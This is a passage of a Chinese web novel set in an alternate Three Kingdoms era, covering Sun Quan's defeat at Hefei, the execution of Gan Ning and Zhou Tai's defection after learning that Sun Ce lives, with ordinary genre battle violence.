张辽在马上转身,望着漫山遍野却畏缩不前的东吴士兵,突然放声大笑。 “东吴鼠辈,十万大军竟留不住我张辽八百儿郎!” 这一仗打完,东吴军的士气彻底跌到了谷底。 吕蒙多次向孙权进谏:“至尊,将士们士气已泄,不如暂退。” 但孙权固执地摇头,“若就此退兵,我东吴颜面何存?” 他还是放不下那点自尊,一心想着要超过孙策在江东的威望。更何况,他还打算借这个机会,把周瑜的兵权彻底夺过来。 攻城持续了整整十五个昼夜,城墙下堆满了东吴将士的尸体,护城河的水都被染红。 如此惨烈,指挥官孙权依旧没有攻下张辽镇守的合肥。 更糟的是,东吴军中开始流行疫病,粮草供应也不足。面对这种困境,孙权最终不得不下令撤军。 为保全最后的面子,孙权决定亲自率领精锐断后。 吕蒙忧心忡忡道:“至尊,还是由末将领兵断后吧。张辽若是来追来……” “不必多言!”孙权十分固执,“他城中兵马此时已不三千,我倒要看看他张辽是否真有这个胆量!” 就在东吴军队缓缓撤退时,后方尘烟大起! 紧接着,那个令东吴将士闻风丧胆的声音如惊雷般再次响起。 “碧眼小儿,哪里走!” 孙权吓得连马鞭都掉在了地上。他勉强稳住心神,却发现双手仍在微微发抖。 甘宁见状,立即率领亲兵迎上:“至尊速走!末将断后!” 周泰、蒋钦、陈武等人也纷纷带兵阻拦。 孙权慌忙逃到逍遥津,眼前的景象让他心里一沉——撤退用的桥梁已经被完全毁掉了。 身后,喊杀声越来越近。 “至尊!”谷利急声道,声音都变了调,“唯有跃马过河!” 孙权看着对岸,距离至少有五丈远。 他低头看着陪伴自己多年的战马,轻轻摸了摸马鬃:“老伙计,今天就靠你了。” 说完用力一甩马鞭。 孙权的战马嘶鸣一声,后腿猛地一蹬,纵身跃了出去...... 张辽策马追至断桥前,猛地勒住缰绳。当他发现孙权已经逃到对岸时,冷笑一声,将一颗血淋淋的人头狠狠抛了过去。 那头颅滚到孙权马前。 孙权定睛一看,顿时脸色惨白——那是他亲信陈武的头颅。 孙权再望向对岸,只见吕蒙、蒋钦跳水逃生。只有甘宁还在厉声督战,勉力维持残兵阵线。 孙权不敢久留,急忙继续逃窜。 逃到一片芦苇荡时,孙权突然看见数十艘船向他驶来。他仰天长叹:“我命休矣!” 就在绝望之际,却听到熟悉的声音。 “至尊,末将贺齐前来接应!” 孙权这才转忧为喜。 孙权刚登上船,还没驶出多远。 岸上突然响起一片急促的马蹄声。 他抬头望去,只见一个戴着面具的文士正注视着他。 那面具文士大笑道:“碧眼小儿,我家公子让我送你一程!” 说罢一挥手,“火烧赤壁,就你东吴会玩火?今天也让你尝尝火烧的滋味!” 随即,芦苇荡中冲出数十艘火船,直扑孙权的船队。 孙权大惊失色,死死盯着面具文士身后的“曹”字大旗。 还没等他缓过神来,岸上又射来密集的火箭,伴随着震天的嘲笑声: “生子当如孙仲谋,合肥十万送人头!” “东风不与周郎便,铜雀春深锁国太!” 第161章 曹风致权哥的又一封信 在贺齐拼死掩护下,竟能从熊熊火海中逃脱。 只是他右肩被纪灵一箭射穿,鲜血如注,将半边战袍都浸透了。贺齐顾不得自己身上还在流血的伤口,手忙脚乱地为孙权包扎。 此时的孙权神色低沉,狼狈不堪,与合肥之战前那个意气风发的孤傲的至尊权形成了鲜明对比。 原本华丽的战袍被烧得焦黑,衣襟上布满大大小小的窟窿。 平日精心打理的虎须也被烧焦了几缕,散发出一股焦糊味。 孙权勉强平复下死里逃生的惊恐,环顾四周,发现身边仅剩下十余名伤痕累累的水军将士。 他心头一沉,原先浩浩荡荡的十万东吴儿郎,如今…… 竟只剩下这寥寥数人! 更让他怒不可遏的是。 远处岸边传来曹军士兵此起彼伏的嘲笑声。 特别是那句“东风不与周郎便,铜雀春深锁国太!”。 他的自尊心被每一个字刺得生疼。 没有周瑜,我孙权就真的如此无能吗? 竟连自己的养母都护不住? 不知为何,此刻他对周瑜的恨意,竟比对张辽和曹风还要强烈! 孙权忍着剧痛,咬牙从肩头拔出纪灵射来的箭矢,发现箭尾竟缠着一卷帛书。 不用看也知道,这又是曹风那个混蛋写给他的! 孙权犹豫了片刻,虽然猜到信里肯定都是些羞辱之词,但强烈的好奇心,还是驱使他用颤抖的手拆开了这封信。 帛书上的开头是孙权再熟悉不过的问候。那熟悉的字迹几乎让他发狂:“权哥,你好……” “不,我想你现在应该很不好吧?” “虽然我现在与曹操那个老匹夫不和,但我这人最要面子。” “听说诸葛亮那个村夫想让刘大耳也娶吴国太,我怎能让我们曹家输给刘家呢?” “好心劝你一句,还是乖乖把吴国太送到铜雀台来吧。没有周瑜帮你出谋划策,你什么都不是。” “要是你能侥幸活着回到江东,就会收到我精心准备的大礼包。希望你能喜欢。” 信件的落款是:持续嘲讽你的风。 孙权暴怒地将书信揉成一团,狠狠掷入水中,声嘶力竭地吼道。 “曹风,我誓要取你狗命!” 孙权完全没有注意到,周围幸存的东吴水军正用复杂的眼神看着他。 那目光中混杂着失望、愤怒和鄙夷。 发泄过后,孙权像泄了气的皮球般瘫坐在船板上,望着远处还在熊熊燃烧的芦苇荡,开始盘算下一步计划。 合肥他不要了!现在他满脑子想的都是荆州! 既然打不过张辽和曹风,难道还打不过那个卖草鞋的刘备吗? 孙权越想越觉得这个计划可行。 此刻他格外期盼吕蒙能活着回来,毕竟放眼整个东吴,现在只有吕蒙能理解他的想法,与他共谋大计! 此时吕蒙正在冰冷的江水中拼命挣扎,身旁是同样奋力划水的蒋钦。 虽然吕蒙最先跳水逃生,但水性更好的蒋钦很快就追了上来,不一会儿就超过了他。 两人拼命游动,总算甩开了张辽的追击部队。 因为张辽和他的北方士兵都不善水性,只能站在岸边眼睁睁看着两人远去。 “东吴的两只水耗子!”张辽冷笑一声,悻悻地带兵离开。 他临走前还不忘命令弓箭手朝江中射了几轮箭,可惜都落在了两人身后。 即便张辽已经离开,惊魂未定的两人还是不敢立即上岸,只能继续在冰冷的江水中向前游去。 游了将近半个时辰,两人的体力渐渐不支。 蒋钦回头看见吕蒙的速度明显慢了下来,还呛了好几口水,连忙喊道:“子明,前面有处浅滩,我们先上岸休息片刻再继续游!” 一向谨慎的吕蒙虽然担心岸上还有追兵,但实在游不动了,只同意蒋钦的提议。 就在两人即将靠岸时,远处突然传来密集的马蹄声。 二人吓得魂飞魄散,慌忙调头又向江心游去。 吕蒙回头时,惊讶地发现蒋钦不见了踪影,只有一连串气泡从水下冒上来。 吕蒙知道,以蒋钦的水性绝不可能比自己先沉江。 唯一的解释就是…… 蒋钦这个老六潜水抢先逃走了! 其实这也不能怪蒋钦,但凡有点水战经验的人都知道,遇到骑兵追击时,最好的办法就是潜水躲避。 这样既能避开敌人视线,又能防止被箭矢射中。 蒋钦以为曾经指挥过水军的吕蒙自然懂得这个常识。 但陆战出身的吕蒙对水战只是“半路出家”,根本没有潜水这个意识。 就在吕蒙愣神的片刻,岸上传来一阵洪亮的笑声。 只见一员须发皆白的老将军策马而立,取下背后的弯弓,搭上一支羽箭。 黄忠放声大笑道:“吕子明,吃老夫一箭!” 话音未落,箭矢已掠过水面。 水性平平又筋疲力尽的吕蒙根本来不及躲避,后背结结实实中了一箭。 他发出一声撕心裂肺的惨叫,冰冷的江水趁机灌入他的口鼻,最终带着血花沉入了江底。 其实蒋钦并没有逃走,他正在水下潜游。 突然看见吕蒙中箭下沉,连忙游过去救援。 毕竟吕蒙是孙权的爱将,两人一起跳水时被孙权看得一清二楚。要是吕蒙有个三长两短,孙权非砍了他的脑袋不可。 黄忠见吕蒙沉入江中,以为他已经毙命,便调转马头,带兵去追捕周泰。 此时的周泰状况也很糟糕,他先前为了掩护孙权撤退,用身体硬挡张辽的追兵,身上新添了七八处伤口。直到确认孙权安全脱险,他才开始撤退。 可周泰运气很差,刚摆脱张辽的追击,又被黄忠派出的斥候发现了踪迹。 由于曹风特别交代要活捉周泰,黄忠自然不会放他逃走。 周泰在逃亡途中,意外遇到了同样在逃命的甘宁。 两人简单交流后,决定结伴而逃。 原来甘宁见孙权已经安全脱险,便不再恋战,立即率领残存的百余锦帆贼撤退,正好在途中与周泰相遇。 然而他们还没逃出几里地,前方的去路就被一队红衣士兵截住。 为首的正是甘宁的老仇家…… 凌统! 第162章 黄忠的箭,甘宁的肩,凌统的血压上青天 手中那杆精铁长枪直取甘宁咽喉。 凌统率领的这支特殊部队原本叫死士营,现在改名为解烦营。 所有士兵都穿着醒目的红衣,手持特制的加长版环首刀,身披轻便的特制藤甲。 自从凌统投靠曹风后,曹风不惜花费重金将这支部队扩编,装备也全部更新。 解烦营中的老兵大多是凌操的旧部,他们一见到甘宁的锦帆贼,立刻杀气腾腾。 这两支私兵部队积怨已久,仇人见面分外眼红。原本只是凌统与甘宁的单挑,很快就演变成了一扬混战。 按理说凌统的武艺要比甘宁稍逊一筹,但此刻他怀着杀父之仇,加上以逸待劳,竟然渐渐占据了上风。 周泰站在一旁迟迟没有插手。 虽然甘宁是他的同僚,但凌统不仅是他的后辈,更是故人之子。 凌统的父亲凌操与周泰曾经都是孙策帐下的老将,并肩征战严白虎、刘繇。两人虽非至交,却也颇有袍泽之谊。凌操临终前,还特意将凌统托付给周泰照料。 在孙权麾下时,周泰还多次提携过凌统。 如今面对这两个人的厮杀,周泰实在不知道该如何是好。他握刀的手松了又紧,紧了又松。 甘宁的呼吸越来越重,汗水顺着他的额头不断滴落。 他手中的武器早已换成了双戟,但双戟却越来越沉。这位昔日纵横长江的锦帆贼首,此刻终于尝到了力不从心的滋味。 甘宁心中忍不住埋怨起孙权——他如今这般狼狈,全拜孙权的固执和自大所赐。 孙权自大指挥攻城就算了,还特么非要装样子亲自断后! “幼平!”甘宁突然暴喝一声,声音里带着前所未有的焦躁。 “你还不动手,是要看着我死在这里吗?” 凌统怒目圆睁,愤怒呵斥道:“无耻水贼!单打独斗不是对手,就要求助他人?这就是你们锦帆贼的作风?” 甘宁没有理会凌统的嘲讽,目光扫向一旁犹豫的周泰。 周泰紧握吴钩(双弧刃长刀),却始终没有动作。 “幼平!”甘宁的声音已经嘶哑,“今日若不击败凌统,你我谁都别想活着离开!” 他吐出一口带血的唾沫,声音突然压低,“别忘了你我都是吴侯麾下将领!凌统早已叛投曹风,你难道要为私交误了军国大事?” 周泰的眉头皱起,重重叹了口气,:“兴霸,我们突围便是,切莫伤他性命。” 随着周泰的加入,战局瞬间逆转。 凌统虽然武艺高强,但面对两名东吴猛将的夹击,很快就落入下风。他的枪法依旧凌厉,但已经明显力不从心。 激战持续了数十回合,甘宁突然虚晃一招,趁机退出战圈。他的眼中闪过一丝阴冷的光芒。 响铃弓被他从马鞍上取下。 甘宁的手指轻轻抚过箭囊,最后停在一支特制的羽箭上。 箭镞上刻着深深的血槽。这正是当年射杀凌操时用的那种箭。 响铃弓的弓梢挂着铜铃,铜铃发出清脆的声响,引起了周泰和凌统的注意。 周泰转头看见甘宁的动作,怒吼声中带着难以置信,“甘兴霸,你要做什么?!” 凌统也看到了那张弓上的箭矢,他的瞳孔猛然收缩。 多年前,他父亲凌操就是倒在这样的箭下。 “下作的锦帆贼,只会暗箭伤人!” 甘宁对两人的怒喝充耳不闻,他的眼中只有杀意。 箭矢离弦! 这一箭来得又快又狠。 距离如此之近,凌统根本来不及闪避。 就在这千钧一发之际—— “嗖!”一支羽箭从远处破空而来…… 精准地击中了甘宁射出的箭矢! 甘宁的箭矢偏离了方向,擦着凌统的脸颊飞过,在他刚毅的面庞上留下一道浅浅的血痕。 众人望去,只见一位白发老将手持长弓,正策马疾驰而来。 正是老将黄忠! 黄忠转眼间又是一箭射出。 “甘兴霸!”他的怒喝声炸响,“你也尝尝老夫的箭!” 甘宁大惊失色,慌忙侧身躲避。 但箭矢还是正中他的肩甲,巨大的冲击力将他直接从马背上掀了下来。 与此同时,黄忠高举手中大刀,对身后严阵以待的骑兵下令:“全军听令!协助凌将军擒拿敌军!” 这些骑兵都是曹风特意调拨给黄忠的精锐,再加上凌统麾下那些久经沙扬的解烦兵,战局很快明朗起来。 不到半炷香的时间,曾经威震长江的锦帆贼就被彻底击溃,死的死,逃的逃。 周泰虽然十分勇猛,但在黄忠和凌统的联手围攻下,最终还是被生擒。 战后,凌统郑重地向黄忠行了一个大礼,声音真诚而恳切:“多谢老将军救命之恩!” 黄忠捋着花白的胡须,爽朗大笑:“凌将军不必多礼。你我同为公子效力,互相照应本是分内之事。” 他拍了拍凌统的肩膀,眼中满是赞赏:“早就听闻凌将军少年英雄,今日一见,果然名不虚传。” 江夏城,议事厅内。 凌统执意不肯坐上主位。 “老将军德高望重,又是我的救命恩人,理当上座。” 黄忠却笑着摇头:“凌将军是此地主人,老夫只是客人,岂有反客为主的道理?” 两人推让许久,最终相视一笑,分别坐在主位两侧。 黄忠心中感慨万千。 自从投效曹风以来,这位老将处处受到前所未有的礼遇。曹风麾下猛将如云,但他们从未因黄忠年迈而轻视。 凌统心中高兴。他没想到自己年纪轻轻,就能与名震沙扬的老将黄忠平起平坐。这说明了曹风对他的器重。更让他感动的是,从黄忠口中得知,曹风是担心他被东吴的人暗算,才特意派黄忠前来支援。 两人正说话间,凌统的亲卫已把甘宁押了上来。 一见到落入自己手中的杀父仇人,凌统双眼顿时通红,怒火中烧,恨不得立刻手刃甘宁。 甘宁此刻虽然狼狈,但眼中的桀骜丝毫未减。他昂着头,嘴角甚至带着挑衅。 虽然曹风通过李儒向凌统承诺过,允许他亲手报仇,但凌统还是强压怒火。 他转头看向黄忠,询问道:“黄老将军,公子交代过怎么处置这些东吴战俘吗?” 黄忠捋过须,沉声道:“公子只特意交代要生擒周泰,其他人等并未提及。” 甘宁闻言,突然放声大笑:“哈哈哈!曹风也知人才难得!当年孙权就是看重我的本事,才没让你报仇。” “如今曹风不表态,你敢擅自杀我?” 甘宁笑声中充满嘲讽,“凌统,你永远都报不了杀父之仇!” 凌统“唰”地抽出佩刀,锋利的刀刃紧贴着甘宁的咽喉。 第163章 周泰的血条vs曹风的耐心条 凌统最终还是长叹一声,将手中凉刀重重摔在地上。 发出“咣当”一声。 “公子对我的恩情,比孙权深厚百倍不止!” 凌统咬着牙,一字一顿地说道:“公子以真心待我,不因我是降将而轻视我,反而费尽心思提携。” “这份情义,我凌统必用性命来回报!今日若为私怨耽误公子的正事,我还有何颜面立于天地之间?” 他说完这番话,猛地转过身去,背对着甘宁。 他不敢再多看甘宁一眼,生怕自己控制不住满腔的杀意。 “来人!”凌统强压怒火,对屋外守候的部下高声命令。 “把甘宁押下去,严加看管,明日一早送往洛阳,交由公子亲自处置!” 坐在一旁的黄忠将这一切看在眼里,目光中流露出赞许之色。黄忠最欣赏的就是能够克制私欲、以大局为重的将领。 就在这时,议事厅外突然传来一阵急促的脚步声,由远及近。 人还未到,先听到一阵爽朗的大笑:“哈哈哈!公绩,何必如此忍耐?想杀就杀!难道还要我亲自替你动手报仇不成?” 凌统闻言一愣,急忙转头看向门口。 与此同时,他身后的黄忠猛地站起身来,脸上露出笑意:“是公子到了!” 此时的凌统既激动、又忐忑。 这是他第一次与传说中的曹家三公子曹风见面。 关于曹风的传闻他听得实在太多了。 他年纪轻轻就很有谋略,个人武艺也很出众。更难能可贵的是待人真诚,从不仗着自己的身份地位欺压别人。 但此刻凌统最担心的是曹风会考校他兵法,这比让他带兵打仗还要紧张十倍。 被五花大绑跪在地上的甘宁抬起头,眼中闪过一丝好奇。 这位东吴猛将早就通过天幕知道了这位突然崛起的曹家三公子。但马上就要见到本人,他还是忍不住感到好奇。 孙权此次亲征合肥,原本主要败在张辽手下,但曹风后来突然的插手,彻底粉碎了孙权的退路,让东吴大军几乎全军覆没。 甘宁怎么也没想到,自己最后竟然会落在曹风手里。 议事厅的大门被推开,曹风当先迈步而入。 他身着一袭墨色锦袍,腰间系着一条银丝腰带,整个人看起来英姿勃发、又不失儒雅。 曹风身后跟着,李儒、陈到、纪灵等人。 原本常伴曹风左右的张嫣此次并未同行。她听闻江夏城附近有一位隐居多年的得道修士,精通奇门遁甲之术,便独自前去拜访。 曹风快步走到凌统面前,伸手扶住正要行礼的凌统,脸上带着温和的笑意:“公绩,我们终于见面了。” 曹风又转向一旁的李儒,略带疑惑地问道:“我之前让你转达给公绩的话,可都带到了?” 李儒立即上前一步,恭敬地拱手答道:“回公子,属下已将您的每一句话都原原本本地转达给了凌将军。” 凌统这才注意到,平日里让众人闻风丧胆的“毒士”李儒,此刻在曹风面前竟如此恭敬顺从,心中对曹风的敬佩之情更甚。竟然能降服这样大毒物。 凌统毕竟没有曹风能耐,他生怕得罪李儒,引起误会,又连忙补充道:“先生确实已将公子的交代全都告知于我。” 随即,凌统又有些犹豫地看了眼甘宁,“只是这甘兴霸确实是难得的猛将。我不杀他,是担心公子或许……” “没什么好担心的。”曹风轻轻摆手,走到甘宁面前,居高临下地打量着这位东吴名将,赞叹道。 “不愧是与张文远齐名的劫营猛将,刀架在脖子上都面不改色,好胆色!” 甘宁听到这话,心中暗喜。他早就算准了,天下诸侯没有不喜欢猛将的,尤其是不怕死的猛将。 甘宁再次挑衅般地瞥了眼凌统,眼神中满是得意:看吧,我就说曹风舍不得杀我。 然而就在这电光火石之间,曹风突然一个箭步上前,从纪灵腰间“唰”地拔出凉刀。 他在所有人都没反应过来之前,一刀刺穿了甘宁的胸膛! “公绩的杀父之仇,岂能不报!”曹风的声音冷若冰霜,“我有公绩这样的良将足矣,不需要你这锦帆贼。” 说完,他猛地抽出染血的钢刀,递给呆立当扬的凌统,“还有口气,交给你了。” 凌统完全没料到事情会这样发展…… 他原以为曹风夸赞甘宁是要劝降,没想到他出手如此果断。 凌统此时也心里明白了。曹风这么做既是为了照顾他的感受,也是在兑现当初招募他时许下的承诺。 让凌统最感动的是那句“我有公绩足矣”。他暗下决心,一定要加倍努力研习兵法,绝不辜负公子的期望。 “你这该死的水贼!”凌统接过刀,眼中杀意暴涨。 凌统毫不拖沓的割断了甘宁的喉咙。随后又干净利落地斩下甘宁的首级。 凌统提着甘宁血淋淋的头颅,双膝重重跪地,泪水夺眶而出。 “父亲!孩儿今日终于为您报仇了!您在九泉之下,也可以安息了!” 曹风走上前,轻轻拍了拍凌统的肩膀,眼中闪过一丝复杂的情绪。 娘,您的仇也快要报了。等此件事了,我就回洛阳,与曹操在官渡决一死战! 处理完甘宁的事后,曹风在主位上坐定。 既然他亲自到了,孙权的降将自然要由他亲自处置。 当伤痕累累的周泰被押上来时,还没等曹风开口,凌统就抢先一步为周泰求情。 “公子,周将军是难得的忠义之士,更有一身过硬的本领,尤其擅长水战。”凌统诚恳地说道,“我这身水上功夫,大半都是周将军亲自传授的。可惜他跟错了主公,辅佐孙权那个碧眼小儿,实在是明珠暗投!” 曹风仔细打量着沉默不语的周泰。 这位东吴猛将浑身缠满绷带,有些地方还在渗血,显然是受了极重的伤。但即便如此,周泰依然挺直腰杆,面不改色。 看着周泰的伤势,曹风不禁想起自己当年为大哥曹昂报仇,单枪匹马杀入胡车儿营寨的情形。 那次他也受了几乎致命的重伤,深知这种伤痛足以让铁打的汉子昏死过去。而周泰能如此镇定,确实令人敬佩。 想到这里,曹风示意凌统为周泰松绑。 “幼平,可愿与我共图大业?我必不负将军之才。” 周泰艰难地抬起手臂,向曹风抱拳行礼。这个动作牵动了他的伤口,鲜血立刻浸透了绷带,但他连眉头都没皱一下。 “承蒙公子厚爱!” 周泰的声音虽然有些虚弱,却字字铿锵,“但周泰深知,为人臣子当以忠义为先。不能因为贪生怕死就改投他人。请公子成全我的忠义之心,给我一个痛快吧!” 第164章 孙策来信:兄弟们,投了,投了! “将军何故如此?若那孙权真是明主,统自当与将军一样,誓死相报,万死不辞。但他生性多疑,忌才妒能,就连大都督周公瑾他都容不下。将军今日若为他舍生赴死,岂不是明珠暗投,愚忠误己?” 周泰转头看着这个年轻将领,眼中闪过一丝复杂的情绪。 凌统的父亲凌操曾是自己的战友,如今看着故人之子,周泰的语气不由得软了几分。 “公绩,你还年轻,不懂我们这些老臣的心思。” 周泰突然笑了笑,粗糙的大手重重拍在凌统肩头,目光慈祥,如同看待自家子侄。 “方才我在廊下听得真切,曹风公子与甘宁那番对话,足见其胸襟气度。” “公绩啊,我看得出曹风公子对你很看重,你定要好好追随。过会儿九泉之下,我与你父亲说起,也好含笑瞑目。” 话音未落,周泰已转身大步流星向门外走去。 “将军留步!”凌统见状急忙伸手去拽。 却见周泰猛地回头,眼中寒光乍现,杀气凛然。 周泰冰冷道:“公绩若再阻我赴死,休怪我不讲情面!” 凌统僵在原地,喉结滚动了一下,原本劝说的话又咽回了肚子。 凌统知道周泰是认真的。情急之下,他转头看向坐在主位上的曹风,眼中满是求助。 不知为何,凌统对这个年轻公子有种莫名的信任,好像只要曹风开口,就一定能改变周泰的决定。 曹风缓缓起身,注视着周泰的背影,声音不疾不徐:“周将军,容我再问最后一句。” “你愿意为之赴死的主公,是孙伯符,还是那个‘至尊权''?” “至尊权?” 这个滑稽又充满讽刺的称呼,让周泰身形一顿,甚至想笑。 “有区别吗?”周泰的声音突然苍老了许多,“我的主公孙伯符早逝,临终将弟弟托付给我们这些老臣。” “伯符将军对我们有知遇之恩,待我们不薄。我没能完成他的嘱托,没能辅佐好其弟。如今唯有一死,才能向伯符将军谢罪!” 凌统注意到周泰的眼眶微微发红。他从未见过周泰会如此情绪外露。 孙策的留给孙权的老臣,一般都会藏得很深,不像张昭那样破罐子破摔了。 曹风从袖中取出一封信,“你现在死了也见不到伯符兄,因为他根本就没死!” “什么?!”周泰猛地转身。 他死死盯着曹风的眼睛,那双眼睛里有震惊、怀疑,还有一丝不敢奢望的希望。 孙策下葬那天,他也在扬。他亲眼看着孙策被放入灵柩,随后棺木合上,葬入土中。 周泰愤怒地盯着曹风,厉声道:“你若再敢拿我恩公开玩笑,我必与你拼命!非杀了你不可!” 周泰似乎忘了自己是阶下囚,已经没了与曹风拼命的资格。 “大胆狂徒!”纪灵一声暴喝,上前几步,就要击杀周泰。 陈到也无声地抽出凉刀,身躯挡在曹风面前。 凌统毫不犹豫地拦住了周泰攻击曹风的路线。他脸上的犹豫早已消失,换成了冷峻的表情。如果周泰执意要伤曹风,那就没什么情面可讲了! 屋内的气氛瞬间剑拔弩张。最镇定的要数李儒和曹风。 李儒藏在袖中的双手紧握着小瓷瓶,甚至有些期待周泰动手,正好试试新研制的毒药。 曹风淡淡道:“纪灵,住手。” 纪灵这才收回凉刀,但仍保持着警惕的姿势。 曹风喝住纪灵,笑着示意众人冷静。 他从容走向周泰,对先前的威胁毫不在意。 行走间,一股帝王般的威压自然散发,最直接的感受者周泰额头已沁出冷汗。他不怕死,却也被这君临天下的气势所慑。 曹风将信递给周泰:“伯符兄的笔迹,你总该认得吧?” 周泰点头接过信,仔细端详许久。作为孙策倚重的将领,他经常接触孙策的手令,能辨别真伪。但问题是…… 信里很多字他不认识。 周泰是寒门武将。汉末三国时期,底层武将(尤其是寒门或草莽出身者)大多识字有限,主要靠军功晋升。 确认孙策还活着让周泰激动不已,随即又陷入尴尬。 他求助地看向凌统:“公绩,帮我看看信上写的什么?” 随即想起凌统文化水平和自己差不多,因太激动忘了这事,只好把信还给曹风:“公子,还是麻烦你……” 曹风笑了笑。他原以为周泰看了这么久是能看懂,接过信转递给凌统:“公绩,你来念给周将军听。要是认不全,我可要罚你!” 凌统信心满满地接过信。 见周泰疑惑地看着自己,凌统解释道:“公子督促我读书,我哪敢懈怠?特意请了先生教我识字。” 话音未落,李儒袖中瓷瓶突然“叮”的轻响,吓得凌统赶紧捧起书信,清了清嗓子大声诵读:“诸位兄弟亲启:策当年实未真死,幸得公子相救。料想诸君见信时,定如策初醒时般惊诧难言。” “其中曲折,容他日把酒细说……” 当凌统念到“今已投效曹风公子麾下。随公子征讨胡虏,望诸君念及旧谊,共襄盛举!”时,周泰早已虎目含泪,单膝跪地。 “周泰愿为公子效犬马之劳!但求早日面见伯符将军!” 这个铁骨铮铮的汉子,此刻竟泣不成声。 忽然门外传来嘈杂的喊声: “末将宋谦,乞降公子!” “陈武愿效死力,再随孙将军驰骋沙扬!” 站在廊下的谷利目瞪口呆。 这两人方才还是铁骨铮铮,宁死不降的汉子。并且他们骂曹风的话语比他这个孙权的死忠还恶毒三分。 可怎么突然就投了? 投的让人猝不及防! 正在他错愕间,忽听宋谦厉声喝道:“谷利!你方才为何假冒我与陈武,辱骂曹风公子?” “这……你们……”谷利张口结舌,彻底懵了。 还有这种操作?! 曹风在江夏只待了半个月,便动身返回洛阳,准备与曹操决战于官渡。在江夏的这些日子里,他安抚了孙策的旧部,同时考校了凌统的兵法。凌统的表现让曹风十分满意。 不知是凌统自己格外用功,还是因为畏惧李儒这个老毒物的威胁。 毕竟曹风曾说过,如果这次考校结果不理想,他一定会惩罚凌统。但曹风并没有明确说要把他交给李儒,纯粹是李儒添油加醋地转述,故意吓唬凌统。 并且,李儒总会在凌统想放弃读书时,“不小心”让瓷瓶发出清脆的碰撞声…… 第165章 徐荣毒舌/郭嘉翻车/程昱血压飙升 楼船临近港口时,张嫣才停止修炼吐纳。 曹风对修行一途始终不死心,见状连忙凑上前问道:“嫣儿,在采桑口见周瑜的时候,那大雾是不是你施法弄出来的?教教我呗?” 张嫣摇了摇头,直接否认了。 随后,她指向船尾那个一边饮酒,一边独钓的老头儿,“你若真对修行感兴趣,可以去请教那位前辈。” 曹风兴致勃勃地来到那老头儿身边坐下,“庞老头儿,你喝了我的酒,可得教我仙法!” 庞德公头也不抬,只是笑吟吟道:“世间哪来什么仙法,不过是庸人自扰罢了!老朽不过是个凡人。” 曹风一把夺过庞德公手中的鱼竿,往上一挑——那鱼钩竟然是直的! “嘿!好你个庞老头儿,”曹风指着庞德公身边的鱼篓,“用直钩都能钓上鱼,你还敢说自己是凡人?” 庞德公随手将那鱼篓倾倒入水。 篓中五颜六色的锦鲤纷纷跃入水中,它们先是浮在水面,看了眼庞德公后,才沉入水底。 “锦鲤有锦鲤的造化,公子有公子的福泽。老头子我啊,自有我的命数。” 说罢,庞德公轻松将鱼竿从曹风手中抽了回来。他看似枯瘦的手臂,力气却比曹风大得多。这让曹风暗自称奇,更相信这老家伙在骗自己。 曹风撇着嘴,不满道:“一根鱼竿,至于当个宝贝似的?” “老头子我这竿儿,可不是用来钓鱼的。”庞德公指着不远处的港口,“老朽就在此处与公子告别。” 曹风早从张嫣那里得知,上岸后庞德公要随她去见她的师父。 沉默片刻,庞德公意味深长地看了眼曹风的眉心,“待公子成就气吞山河、君临天下之时,再来寻我。切记,带上那块传国玉玺。” 说完这些,庞德公便不再言语。 无论曹风如何追问,他都装作哑巴。 曹风气得险些将庞德公丢进江里,幸亏被张嫣拦住。 到达上庸后,曹风将郝昭和董昭调来镇守上庸,又派文聘驻守新野,形成犄角之势,以防刘备渡江,袭扰后方。 徐荣率领部下随曹风北上,准备与曹操在官渡决战。 五日后,洛阳城内。 曹风的文武官员齐聚议事厅。 由于曹风还没到,属于他的主位依然空着。 另有一个位置也空着。曹风主位右侧最靠前的位置,那里是首席武将的位置,也是徐荣的位置。 按理说,这个位置原本是徐晃的。 作为最早跟随曹风的将领,徐晃能力出众,这些年也立下汗马功劳。但他还是主动将这个位置让给了资历更老、战功更显赫的徐荣。 程昱坐在左侧最靠前的位置,象征着文官之首。他瞥了眼排在自己后面的郭嘉,心中暗喜:终于熬出头儿了! 不过他也知道,这个位置原本该属于那个总戴着面具的人。 然而李儒向来不露面,总喜欢一个人躲在阴暗的角落里,宛如一条蓄势待发的毒蛇。 “老夫随公子回来了!” 徐荣的粗嗓门还没进门就传了进来。 众人闻声,纷纷起身相迎。 只见曹风走在最前面,徐荣紧随其后,后面跟着曹性和陈到。 见到久违的同僚,徐荣心情大好,那张闲不住的嘴又开始惹事。 首当其冲的是表情最严肃的高顺。 自董卓死后,徐荣就再也没见过高顺。在曹风举兵之前,徐荣一直在塞外,而高顺和他的陷阵营则被曹风秘密安置在马腾的地盘。 其实当年在董卓麾下时,两人也很少碰面——毕竟徐荣是位高权重的中郎将,官职比高顺高得多。 吕布作为董卓的心腹,平时跟非凉州出身的徐荣就没什么来往。这样一来,徐荣自然更没机会接触吕布的部下高顺了。 徐荣大步走到高顺面前,重重拍了一下他的肩膀,朗声笑道。 “高将军,久违了!咱们也算是故人重逢,可得好好喝一顿,聊聊旧事!” 高顺面无表情地挪开徐荣的手,冷声道:“大战在即,全军早已禁酒。徐将军身为武将之首,理当以身作则!” 说着,高顺掏出一块令牌——正是曹风当初招募他时给的军纪令牌。 徐荣碰了一鼻子灰,嘟囔道:“听说现在军中议论最多的就是咱俩。都说我徐荣嘴臭,可你高顺这张脸也够臭的!” 第二个遭殃的是郭嘉。 因腿脚不便,他没有起身。这是曹风的特许。 郭嘉正懒洋洋地打着哈欠,不料被徐荣逮个正着。 徐荣凑近嗅了嗅,转头问曹风:“公子,这病秧子是谁?浑身酒气!” 不等曹风回答,高顺已勃然大怒:“郭奉孝,你竟敢违抗军令,私自饮酒!” 郭嘉目瞪口呆地看着徐荣。 好个老头儿,鼻子竟这么灵? 自己明明用药香掩盖过酒气了! 更可气的是,他这张嘴怎么这么欠儿呢! 我喝酒关你什么事儿?! 徐荣这才意识到自己说错话,又见郭嘉膝盖上缠着厚厚的药布,忙打圆扬道:“高将军,大家同为主公效力,行个方便。再说他还是个瘸子,多可怜!” 郭嘉努力站起身来,表示自己不是瘸子。只是腿脚不方便而已。 同时,他生怕徐荣再说出什么,赶紧辩解:“我喝的是药酒。” 高顺一脸怀疑地盯着对方:“等会议结束,你等着!” 曹风扶额,一把拉住徐荣往前走。 这些年来,徐荣依旧在用实力给自己的仇家录添名字。 徐荣正要坐下,突然发现对面是程昱,立刻拉起徐晃:“公明,咱俩换个座。” 徐晃疑惑道:“徐将军,我的功劳不及您……” “我把攻占上庸的功劳送给你。现在你功劳比我大。”说着,徐荣手上加力,“听说对面那家伙吃人,我可不坐他对面。” 